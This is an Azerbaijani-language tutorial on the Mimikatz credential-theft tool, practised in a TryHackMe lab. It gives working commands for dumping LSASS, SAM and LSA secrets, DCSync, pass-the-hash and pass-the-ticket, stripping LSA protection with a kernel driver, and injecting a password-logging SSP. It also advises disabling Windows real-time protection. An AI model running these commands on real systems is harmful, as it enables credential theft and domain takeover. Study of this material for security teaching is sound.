Mimikatz

Mimikatz, Windows əməliyyat sistemindən həssas məlumatları çıxarmaq üçün Benjamin Delpy tərəfindən hazırlanmış güclü post-explotation alətidir. C dilində yazılmış bu alət, parollar, hashlər və Kerberos biletləri kimi həassas məlumatları Windows sisteminin yaddaşından çəkə bilir. Bunun üçün o, Windows autentifikasiya prosesindəki zəifliklərdən istifadə edir.

Mimikatzın əsas hücumları:

  1. Pass-the-Ticket (PtT) Hücumu: Bu hücum, Kerberos biletlərinin yaddaşdan çıxarılmasını, hücumçunun digər istifadəçiləri təqlid etməsinə, resurslara icazəsiz giriş əldə etməsinə imkan verir.

  2. Pass-the-Hash (PtH) Hücumu: Mimikatz yaddaşdan parol hashlərini çıxarır ki, bu da hücumçuya faktiki plaintext paroluna ehtiyac duymadan autentifikasiya etməyə imkan verir.

  3. Pass-the-Key (PtK) Hücumu: Bu hücumda, Kerberos autentifikasiyası prosesində istifadə olunan əsas(key) materialın çıxarılır ki, bu da təcavüzkarın başqa istifadəçini təqlid etməsinə imkan verir.

  4. Credential Manipulyasiyası: Mimikatz icazəsiz giriş əldə etmək üçün sessiyaya etimadnamələr (credentials) daxil edə, imtiyazları dəyişə və digər bu tip manipulyasiyalar edə bilər.

Mimikatz yükləmə prosesi:

1.Mimikatzı yükləmək üçün bu mənbədən istifadə edə bilərsiniz:

2.Git clone əmrindən istifadə edərək, bu git repozitoriyasını local maşınımıza yükləmək mümkündür. Lakin bu fayla Windows Security tərəfindən icazə verilmədiyi üçün "Real time protection" söndürülməlidir.

3.Yükləndikdən sonra \mimikatz\x64 qovluğunun içərisindəki mimikatz.exe faylı işə salınmalıdır.

Mimikatz əmrləri (Əmrləri praktiki şəkildə göstərmək üçün TryHackMe labından istifadə edəcəyəm):

#SeDebugPrivilege səlahiyyətini aktiv edir
mimikatz # privilege::debug

Bu səlahiyyət ,Windowsda istifadəçiyə yaddaşı oxumaq və manipulyasiya etmək də daxil olmaqla digər prosesləri sazlamağa (debug etməyə) imkan verən güclü imtiyazdır.

mimikatz # token::elevate

Bu əmr, cari prosesi sistemdə mövcud olan ən yüksək imtiyaz səviyyəsinə çatdırmağa cəhd edir.

mimikatz # sekurlsa::logonpasswords

Bu əmr, sistemin yaddaşından açıq mətn(plaintext) parollarını və digər autentifikasiya məlumatlarını çıxarmaq üçün istifadə olunur.

mimikatz # sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

sekurlsa::pth (Pass-the-Hash) əmri pass-the-hash hücumunu həyata keçirmək üçün istifadə olunur. Bu hücum, autentifikasiya etmək və sistemə giriş əldə etmək üçün istifadəçinin parolunun heşindən istifadə edir. Əmrdəki /user, /ntlm və /domain parametrləri müvafiq olaraq hədəf istifadəçini, NTLM hashını və domeni təyin edir.

mimikatz # sekurlsa::tickets

Bu əmr, Local Security Authority Subsystem Service (LSASS) xidmətinin yaddaşından Kerberos biletlərini çıxarmaq üçün istifadə olunur.

mimikatz # sekurlsa::tspkg

Bu əmr, Təhlükəsizlik Dəstəyi Provayderi (Security Support Provider) paketləri ilə əlaqəli yaddaş məlumatlarını çıxarmaq üçün istifadə olunur. SSP'lər Windows'da autentifikasiya prosesi zamanı etimadnamələrin idarə edilməsi də daxil olmaqla təhlükəsizlik və autentifikasiyadan məsul olan dinamik əlaqə kitabxanalarıdır (DLL).

mimikatz # sekurlsa::minidump c:\temp\lsass.dmp

Bu əmr, LSASS (Local Security Authority Subsystem Service) prosesinin yaddaş dump'nı yaratmaq üçün istifadə olunur. Bu dump əlavə təhlil üçün faylda saxlanıla bilər.

mimikatz # sekurlsa::dpapi

Bu əmr, LSASS prosesinin yaddaşında saxlanılan DPAPI (Data Protection API) etimadnaməsi ilə bağlı məlumatları əldə etmək üçün istifadə olunur.

mimikatz # sekurlsa::ekeys

Bu əmr, LSASS ilə əlaqəli şifrələmə açarları haqqında məlumatı əldə etmək üçün istifadə olunur.

mimikatz # lsadump::sam

Bu əmr, Security Account Manager (SAM) verilənlər bazasından parol heşlərini çəkməküçün istifadə olunur.

mimikatz # lsadump::secrets

LSA Secret'də saxlanılan plaintext və ya heşlənmiş etimadnamələri əldə etmək üçün istifadə olunur. LSA Secret, parollar kimi həssas məlumatların saxlandığı Windows əməliyyat sisteminin bir hissəsidir.

#Domen Nəzarətçisinin(DC) Etimadnamələrinin əldə edilməsi
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::lsa /inject
mimikatz # lsadump::dcsync /domain:<DomainFQDN> /all

Bu əmr, domendəki istifadəçi hesabları üçün parol məlumatlarını tələb əldə etmək məqsədilə Domain Controller (DC) davranışını simulyasiya etmək üçün istifadə olunur. Bu əmr, əsasən "DCSync" adlandırılan u prosesi yerinə yetirmək üçün DRSUAPI'dan (Directory Replication Service Remote Protocol) istifadə edir.

mimikatz # kerberos::list /dump

Bu əmr, Windows sistemində keşlənmiş Kerberos biletləri haqqında məlumatları əldə etmək üçün istifadə olunur.

mimikatz # kerberos::ptt <PathToKirbiFile>

kerberos::ptt əmri cari sessiyanın yaddaşına Kerberos Ticket Granting Ticket (TGT) yeritmək (inject) üçün istifadə olunur. Bu, həmçinin "Pass the Ticket" (PtT) hücumu kimi bilinir və təcavüzkarın resurslara, sanki onlar ilə əlaqəli qanuni istifadəçi kimi daxil olmasına imkan verən bir texnikadır.

mimikatz # ts::sessions

Windows sistemində aktiv Remote Desktop Services (RDS) sessiyalarını listələmək üçün istifadə olunur.

mimikatz # vault::list

Bu əmr, Credential Vault kimi də tanınan Windows Credential Manager'də saxlanılan etimadnamələrin siyahısını əldə etmək üçün istifadə olunur. Credential Manager Windows'da istifadəçilərin müxtəlif tətbiq və xidmətlər üçün adları və parolları daxil olmaqla müxtəlif etimadnamələrini saxlamağa və idarə etməyə imkan verən təhlükəsiz saxlama sahəsidir.

LSA Protection Controls Bypass

Windows'da Credential Guard (Etibarnamə Mühafizəsi) kimi Local Security Authority (LSA) mühafizə nəzarətləri, müəyyən həssas məlumatları təcrid etmək, icazəsiz giriş və müdaxilənin qarşısını almaqla sistemdəki etimadnamələrin təhlükəsizliyini artırmaq üçün nəzərdə tutulmuşdur. Credential Guard kimi LSA mühafizə nəzarətləri Mimikatz üçün etimadnamələri yaddaşdan əldə etməyi çətinləşdirə bilir.

Kernel Land Bypass

# Aşağıdakı əmrdən istifadə edərək "RunAsPPL" dəyişəninin 0x1 olaraq təyin
# edilib-edilmədiyini yoxlayın.Belədirsə, LSA'nın qorunan prosesdir.

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Bu nümunədə qorunan proses deyil.Sadəcə əmrin praktiki nümayişi üçün yerləşdirilib.
#Daha sonra mimidriver.sys-i rəsmi mimikatz repo-dan mimikatz.exe ilə eyni qovluğuna yükləyin
#İndi isə mimidriver.sys faylını sistemə import edək

mimikatz # !+

mimidriver.sys faylı Mimikatz aləti ilə birlikdə "mimikatz sürücüsü" kimi tanınan kernel-mode-driver istifadəsi ilə əlaqələndirilir.Bu nümunədə, bu fayldan istifadə edərək "Kernel Land Bypass" həyata keçirəcəyik.

#İndi lsass.exe prosesindən qoruma bayraqlarını(protection flags) siləcəyik

mimikatz # !processprotect /process:lsass.exe /remove
#Nəhayət, lsass'ı əldə etmək üçün logonpasswords funksiyasını işə sala bilərik

mimikatz # sekurlsa::logonpasswords

LSA as a Protected Process (Userland "Fileless" Bypass)

BU hücum haqqında məlumat almaq üçün aşağıdakı keçidlərdən istifadə edin:

LSA Credential Guard tərəfindən virtuallaşdırılmış proses (LSAISO) kimi işləyir

Aşağıdakı əmrdən istifadə edərək aktiv proseslərin arasında lsaiso.exe prosesinin olub-olmadığını yoxlayın.

tasklist |findstr lsaiso

Əgər proses mövcuddursa, lsass'ı dump etmək üçün bir yol yoxdur, biz yalnız şifrələnmiş məlumatları əldə edə bilərik. Amma keylogger və ya clipboard(məlumat buferi) dumperlərdən istifadə edərək məlumatları ələ keçirmək mümkündür. Aşağıdakı əmrdən istifadə edərək öz zərərli Təhlükəsizlik Dəstəyi Provayderimizi (Security Support Provider) yaddaşa yeridə bilərik.

mimikatz # misc::memssp

İndi bu maşındakı hər bir istifadəçi sessiyası daxil olmaqla, plaintext etimadnamələr tutularaq mimilsa.log faylına yüklənəcək.

Mimikatz istifadəsi haqqında daha çox məlumat almaq üçün bu keçiddən istifadə edin.

Last updated

Was this helpful?